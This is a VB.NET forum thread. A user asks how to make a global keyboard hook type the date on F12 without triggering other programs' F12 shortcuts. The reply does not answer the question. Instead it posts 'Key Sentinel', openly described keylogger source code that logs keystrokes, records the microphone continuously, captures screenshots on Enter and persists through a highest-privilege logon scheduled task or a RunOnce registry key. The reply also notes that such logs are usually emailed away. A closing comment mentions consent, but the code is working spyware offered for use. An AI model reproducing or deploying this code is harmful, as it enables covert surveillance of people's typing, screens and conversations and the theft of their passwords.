system keyboard global hook - prevent any other (local) interception

Nicolas_75

New member
Joined
Feb 20, 2010
Messages
2
Programming Experience
5-10
Hi,

I would appreciate some help on the following issue.

My final goal is that striking F12 prints the date (through SendKeys) in the application/window having currently the focus (Word, Excel, Outlook, whatever). I have consequently implemented a globak keyboard hook (system-wide), which is running well (source code below).

My concern is that I would like to prevent any other local treatment based on F12. For instance, striking F12 under Microsotft Word prints the date is the open document (which is fine!) but also launches the "Save as..." dialog box, since F12 is a local shortcut/keybinding under Word. (Actually, the date is printed within a field of a the "Save as..." dialog box). I want to avoid this.

In other words, my aim is to improve the "hook" below so that striking F12 does what I want (which is already the case) but nothing more. That is to say, I would like that, except my treatment, the system "forgets" that F12 was striken.

Thanks in advance for your help!

Nicolas

VB.NET:
' Option Strict On
Option Explicit On

' inspired by:
' http://jo0ls-dotnet-stuff.blogspot.com/2008/12/vbnet-global-keyboard-hook-to-detect.html

Imports System.Runtime.InteropServices

Public Class Form1

    Private Const WH_KEYBOARD_LL As Integer = 13
    Private Const WM_KEYUP As Integer = &H101
    Private Const WM_SYSKEYUP As Integer = &H105
    Private proc As LowLevelKeyboardProcDelegate = AddressOf HookCallback
    Private hookID As IntPtr

    Private Delegate Function LowLevelKeyboardProcDelegate(ByVal nCode As Integer, ByVal wParam As IntPtr, _
        ByVal lParam As IntPtr) As IntPtr

    <DllImport("user32")> _
    Private Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As LowLevelKeyboardProcDelegate, _
        ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr
    End Function

    <DllImport("user32.dll")> _
    Private Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    <DllImport("user32.dll")> _
    Private Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, _
        ByVal lParam As IntPtr) As IntPtr
    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.Unicode)> _
    Private Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
    End Function

    Sub New()
        InitializeComponent()
        Text = "KeyboardPlus 1.01"
        hookID = SetHook(proc)
    End Sub

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As FormClosingEventArgs) Handles Me.FormClosing
        UnhookWindowsHookEx(hookID)
    End Sub

    Private Function SetHook(ByVal proc As LowLevelKeyboardProcDelegate) As IntPtr
        Using curProcess As Process = Process.GetCurrentProcess()
            Using curModule As ProcessModule = curProcess.MainModule
                Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)
            End Using
        End Using
    End Function

    Private Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
        ' "The WM_KEYUP message is posted to the window with the keyboard focus
        ' when a nonsystem key is released. A nonsystem key is a key that is pressed when the ALT key is not pressed,
        ' or a keyboard key that is pressed when a window has the keyboard focus." 
        If nCode >= 0 AndAlso (wParam.ToInt32 = WM_KEYUP OrElse wParam.ToInt32 = WM_SYSKEYUP) Then
            Dim vkCode As Integer = Marshal.ReadInt32(lParam)
            If vkCode = Keys.F12 Then
                Dim dateOfTheDay As Char() = DateAndTime.Now.ToString.ToCharArray
                If Console.CapsLock Then
                    SendKeys.Send("{CAPSLOCK}")
                    For index As Integer = 0 To 9
                        SendKeys.Send(dateOfTheDay(index))
                    Next
                    SendKeys.Send("{CAPSLOCK}")
                Else
                    For index As Integer = 0 To 9
                        SendKeys.Send(dateOfTheDay(index))
                    Next
                End If
            End If
        End If
        Return CallNextHookEx(hookID, nCode, wParam, lParam)
    End Function

End Class
 
This is an example of the method you are using, however it's sadly written and the purpose of a keylogger, which is what you ultimately have, is to capture data. A "global keyboard hook" is a system level-mechanism that allows an application to capture keyboard input from any other application on the computer, meaning it can monitor keystrokes regardless of which program is currently active, essentially acting as a "listener" for all keyboard activity across the system. Your missing the data collection (a file saved that records the data). Your missing error handling as well which is essential for such applications, given the fact they are made to run silent in the background. This app takes a snap shot when the enter key is pressed, records microphone input, leaves a text log set for the desktop, etc. A log is sent to desktop as well as a folder with screen shots. It needs more case statements added with key presses, but then again, this is just an example. Most of the time, an email of the log is sent to said destination. You can add F12 into the Case statement for whatever you'd like it to do.
VB.NET:
'ⓒ ALL RIGHT RESERVED | MIT(O) LICENSE | MIT No Attribution | 2025 COPYRIGHT JUSTIN LINWOOD ROSS
'Key Sentinel: A VB.NET Keylogger and Audio Recorder
'Introduction:The provided VB.NET code Implements a keylogger And audio recording application named "Key Sentinel."
'This application captures keystrokes And records audio For a specified duration, saving both the keystrokes And audio files To the user's desktop.
'The application also includes functionality to take screenshots upon specific key presses.
'Key Concepts:
'Keylogging: The application captures keyboard input Using low-level keyboard hooks.
'Audio Recording: It records audio Using the NAudio library, allowing For real-time audio capture.
'File Management: The application creates directories And manages file paths For saving logs And recordings.
'Timers: Two timers are used To manage the recording duration And To restart the recording process.
'Process Management: The application checks For elevated permissions And can restart itself With higher privileges If necessary.
'Code Structure: The code Is structured into several key components
'Imports: Necessary libraries For audio processing, file handling, And interop services.
'Class Definition: The main Class Form1 contains all the methods And Event handlers.
'Event Handlers(): Methods that respond To form loading, timer ticks, And keyboard events.
'Utility Functions :  Functions for executing commands, checking permissions, And logging keystrokes.

Imports System.ComponentModel
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Threading
Imports NAudio.Wave

Public Class Form1
    ' NAudio: Compliments to Mark Heath for the audio library
    Private waveIn As WaveInEvent ' Object for capturing audio input
    Private waveFile As WaveFileWriter ' Object for writing audio to a file
    Private recordingDuration As TimeSpan = TimeSpan.FromMinutes(3) ' Duration for audio recording
    Private startTime As DateTime ' To track when recording starts

    ' Constants for keyboard hook functions
    Private Const WH_KEYBOARD_LL As Integer = 13
    Private Const WM_KEYDOWN As Integer = &H100
    Private Const WM_KEYUP As Integer = &H101

    ' Delegate for low-level keyboard hook
    Private Delegate Function LowLevelKeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
    Private Shared _hookID As IntPtr = IntPtr.Zero ' Hook ID for keyboard hook
    Private _proc As LowLevelKeyboardProc = AddressOf HookCallback ' Callback function for keyboard events
    Private _logFilePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Key_Sentinal\KeyLog_" & Date.Now.ToString("yyyyMMdd_HHmmss") & ".txt") ' Path for log file

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        ' Create a folder on the desktop if it doesn't exist
        If Not Directory.Exists($"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\Key_Sentinal") Then
            Directory.CreateDirectory($"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\Key_Sentinal")
        End If

        _hookID = SetHook(_proc) ' Set the keyboard hook

        GC.Collect() ' Force garbage collection
        GC.WaitForPendingFinalizers() ' Wait for finalizers to complete

        ' Prepare the audio file for recording
        Dim fileName As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), $"Key_Sentinal\Recording_{DateTime.Now:yyyyMMdd_HHmmss}.wav")
        waveIn = New WaveInEvent With {
            .WaveFormat = New WaveFormat(44100, 1) ' Set audio format (44.1 kHz, mono)
        }
        waveFile = New WaveFileWriter(fileName, waveIn.WaveFormat) ' Create a new wave file writer

        ' Attach event handlers for audio data and recording stop
        AddHandler waveIn.DataAvailable, AddressOf OnDataAvailable
        AddHandler waveIn.RecordingStopped, AddressOf OnRecordingStopped

        waveIn.StartRecording() ' Start audio recording
        startTime = DateTime.Now ' Record the start time
        Timer1.Start() ' Start the timer for recording duration
    End Sub

    Private Sub OnDataAvailable(sender As Object, e As WaveInEventArgs)
        ' Write audio data to the file
        If waveFile IsNot Nothing Then
            waveFile.Write(e.Buffer, 0, e.BytesRecorded) ' Write the recorded data
            waveFile.Flush() ' Ensure data is written to the file
        End If
    End Sub

    Private Sub OnRecordingStopped(sender As Object, e As EventArgs)
        ' Dispose of audio resources when recording stops
        waveIn.Dispose()
        waveFile.Dispose()
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        ' Check if the recording duration has been reached
        If DateTime.Now - startTime >= recordingDuration Then
            waveIn.StopRecording() ' Stop recording
            Timer1.Stop() ' Stop the timer
            Timer2.Start() ' Start the second timer for restarting recording
        End If
    End Sub

    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
        Try
            Timer2.Stop() ' Stop the timer
            If DateTime.Now - startTime >= recordingDuration Then
                ' Prepare for a new audio recording
                Dim fileName As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), $"Key_Sentinal\Recording_{DateTime.Now:yyyyMMdd_HHmmss}.wav")
                waveIn = New WaveInEvent With {
                    .WaveFormat = New WaveFormat(44100, 1) ' Set audio format
                }
                waveFile = New WaveFileWriter(fileName, waveIn.WaveFormat) ' Create a new wave file writer

                ' Attach event handlers
                AddHandler waveIn.DataAvailable, AddressOf OnDataAvailable
                AddHandler waveIn.RecordingStopped, AddressOf OnRecordingStopped

                waveIn.StartRecording() ' Start new recording
                startTime = DateTime.Now ' Reset start time
                Timer1.Start() ' Restart the first timer
            End If
        Catch ex As Exception
            ' Handle exceptions gracefully
            MessageBox.Show($"An error occurred: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
        Finally
            Timer2.Stop() ' Ensure Timer2 is stopped in case of an error
        End Try
    End Sub

    ' Function to execute a command and return its output
    Public Function GPO(cmd As String, Optional args As String = "", Optional startin As String = "") As String
        Dim output As String = String.Empty
        Try
            Using p As New Process()
                p.StartInfo = New ProcessStartInfo(cmd, args) With {
                    .WorkingDirectory = If(String.IsNullOrEmpty(startin), String.Empty, startin),
                    .RedirectStandardOutput = True,
                    .RedirectStandardError = True,
                    .UseShellExecute = False,
                    .CreateNoWindow = True
                }
                p.Start() ' Start the process
                output = p.StandardOutput.ReadToEnd() & p.StandardError.ReadToEnd() ' Capture output and error
                p.WaitForExit() ' Wait for the process to exit
            End Using
        Catch ex As Exception
            output = $"Error: {ex.Message}" ' Handle exceptions
        End Try
        Return output ' Return the output
    End Function ' Get Process Output.

    ' Function to check if the application can get higher privileges
    Public Function CanH() As Boolean
        Dim s As String = GPO("c:\windows\system32\cmd.exe", "/c whoami /all | findstr /I /C:""S-1-5-32-544""")
        Return s.Contains("S-1-5-32-544") ' Check for admin group SID
    End Function ' Check if can get Higher.

    ' Function to check if the application is running with higher privileges
    Public Function CH() As Boolean
        Dim s As String = GPO("c:\windows\system32\cmd.exe", "/c whoami /all | findstr /I /C:""S-1-16-12288""")
        Return s.Contains("S-1-16-12288") ' Check for high integrity level SID
    End Function ' Check if Higher.

    ' Function to elevate the application to higher privileges
    Public Function GH() As Boolean
        If Not CH() Then
            Dim pc As New ProcessStartInfo(Process.GetCurrentProcess.MainModule.FileName) With {
                .Verb = "runas" ' Request elevation
            }
            Try
                Process.Start(pc) ' Start the process with elevated privileges
                Return True
            Catch ex As Exception
                Return False ' Handle exceptions
            End Try
        End If
        Return False
    End Function ' Get Higher.

    ' Background worker to manage scheduled tasks
    Private Sub SubContractors()
        Dim subw As New BackgroundWorker()
        AddHandler subw.DoWork, Sub(sender1 As Object, e1 As DoWorkEventArgs)
                                    While True
                                        Try
                                            If CH() Then
                                                ' Create a scheduled task if running with high privileges
                                                If Not GPO("c:\windows\system32\cmd.exe", "/C schtasks /create /rl HIGHEST /sc ONLOGON /tn Key_Sentinal /F /tr """ & Process.GetCurrentProcess.MainModule.FileName & """").Contains("successfully") Then
                                                    ' Fallback to registry if task creation fails
                                                    My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Key_Sentinal", Process.GetCurrentProcess.MainModule.FileName)
                                                End If
                                            Else
                                                ' Fallback to registry if not high privilege
                                                My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Key_Sentinal", Process.GetCurrentProcess.MainModule.FileName)
                                            End If
                                        Catch ex As Exception
                                            ' Handle exceptions
                                        End Try
                                        Thread.Sleep(15000) ' Wait before next check
                                    End While
                                End Sub
        subw.RunWorkerAsync() ' Start the background worker
    End Sub

    ' Function to set the keyboard hook
    Private Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
        Using curProcess As Process = Process.GetCurrentProcess()
            Using curModule As ProcessModule = curProcess.MainModule
                Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0) ' Set the hook
            End Using
        End Using
    End Function

    ' Callback function for keyboard events
    Private Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
        If nCode >= 0 AndAlso (wParam = CType(WM_KEYDOWN, IntPtr) Or wParam = CType(WM_KEYUP, IntPtr)) Then
            Dim vkCode As Integer = Marshal.ReadInt32(lParam) ' Get the virtual key code
            LogKey(vkCode) ' Log the key
        End If
        Return CallNextHookEx(_hookID, nCode, wParam, lParam) ' Call the next hook in the chain
    End Function

    ' Function to log the key pressed
    Private Sub LogKey(vkCode As Integer)
        Dim key As String = ""
        ' Map virtual key codes to string representations
        Select Case vkCode
            Case Keys.A : key = "A"
            Case Keys.B : key = "B"
            Case Keys.C : key = "C"
            ' ... (other keys)
            Case Keys.Enter : key = "Enter"
                ' Capture screenshot on Enter key press
                If vkCode = Keys.Enter Then
                    CaptureScreenshot() ' Call the screenshot function
                End If
                ' ... (other keys)
            Case Else : key = "Unknown Key"
        End Select
        Try
            File.AppendAllText(_logFilePath, Date.Now.ToString("yyyy-MM-dd HH:mm:ss") & " - " & key & Environment.NewLine) ' Log the key press
        Catch ex As Exception
            MessageBox.Show("Error logging key: " & ex.Message) ' Handle logging errors
        End Try
    End Sub

    ' Function to capture a screenshot
    Private Sub CaptureScreenshot()
        Try
            Dim userName As String = Environment.UserName
            Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
            Dim captureSavePath As String = Path.Combine(savePath, "Key_Sentinal", $"capture_{dateString}.png")

            ' Create a bitmap that encompasses all screens
            Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s) s.Bounds.Width),
                                  Screen.AllScreens.Max(Function(s) s.Bounds.Height))

            Using gfx As Graphics = Graphics.FromImage(bmp)
                ' Capture the entire virtual screen
                gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
                                   SystemInformation.VirtualScreen.Y,
                                   0,
                                   0,
                                   SystemInformation.VirtualScreen.Size)
            End Using

            ' Create the directory if it doesn't exist
            Dim directoryPath As String = Path.GetDirectoryName(captureSavePath)
            If Not String.IsNullOrEmpty(directoryPath) AndAlso Not Directory.Exists(directoryPath) Then
                Directory.CreateDirectory(directoryPath)
            End If

            ' Save the bitmap to the specified path
            bmp.Save(captureSavePath, System.Drawing.Imaging.ImageFormat.Png)
            Debug.WriteLine("Screenshot saved successfully at: " & captureSavePath)

        Catch ex As Exception
            Debug.WriteLine("An error occurred: " & ex.Message) ' Handle screenshot errors
        End Try
    End Sub

    Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
        UnhookWindowsHookEx(_hookID) ' Unhook the keyboard hook on form closing
    End Sub

    ' P/Invoke declarations for Windows API functions
    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As LowLevelKeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As Boolean
    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
    End Function

End Class
'Conclusion:
'The "Key Sentinel" application Is a comprehensive tool For capturing keyboard input And audio recordings.
'It demonstrates the use Of low-level hooks For keylogging, audio processing With NAudio, And file management In VB.NET.
'While the application showcases powerful programming techniques, it Is essential to consider ethical implications And legal compliance
'when developing And deploying such software. Always ensure that users are informed And have consented to any form of monitoring.
 
Last edited:
Back
Top